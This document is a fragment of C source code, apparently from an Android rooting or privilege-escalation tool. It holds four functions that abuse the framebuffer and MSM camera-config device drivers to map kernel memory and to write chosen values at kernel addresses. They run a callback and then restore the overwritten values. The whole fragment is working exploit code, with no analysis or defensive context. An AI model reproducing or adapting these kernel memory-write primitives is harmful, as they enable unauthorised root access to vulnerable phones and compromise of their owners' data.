static bool attempt_mmap_fb_mem_exploit(exploit_memory_callback_t callback_func, void *callback_param) { unsigned long int offset; int fd; void *address; bool result; offset = get_kernel_physical_offset(); if (offset) { fb_mem_set_kernel_phys_offset(offset - 0x00008000); } address = fb_mem_mmap(&fd); if (address == MAP_FAILED) { return false; } result = callback_func(fb_mem_convert_to_mmaped_address((void *)PAGE_OFFSET, address), KERNEL_SIZE, callback_param); fb_mem_munmap(address, fd); return result; }
static bool attempt_mmap_msm_cameraconfig_exploit(exploit_mmap_callback_t callback_func, void *callback_param) { unsigned long int offset; int fd_video, fd_config; void *address; bool result; offset = get_kernel_physical_offset(); if (offset) { msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000); } address = msm_cameraconfig_mmap(&fd_video, &fd_config); if (address == MAP_FAILED) { return false; } result = callback_func(msm_cameraconfig_convert_to_mmaped_address((void *)PAGE_OFFSET, address), KERNEL_SIZE, callback_param); msm_cameraconfig_munmap(address, fd_video, fd_config); return result; }
static bool attempt_fb_mem_exploit(unsigned long int address, unsigned long int write_value, unsigned long int restore_value, callback_info_t *info) { unsigned long int offset; offset = get_kernel_physical_offset(); if (offset) { fb_mem_set_kernel_phys_offset(offset - 0x00008000); } if (fb_mem_write_value_at_address(address, write_value)) { run_callback(info); fb_mem_write_value_at_address(address, restore_value); return true; } return false; }
static bool attempt_msm_cameraconfig_exploit(unsigned long int address, unsigned long int write_value, unsigned long int restore_value, callback_info_t *info) { unsigned long int offset; void *p; offset = get_kernel_physical_offset(); if (offset) { msm_cameraconfig_set_kernel_phys_offset(offset - 0x00008000); } if (msm_cameraconfig_write_value_at_address(address, write_value)) { run_callback(info); msm_cameraconfig_write_value_at_address(address, restore_value); return true; } return false; }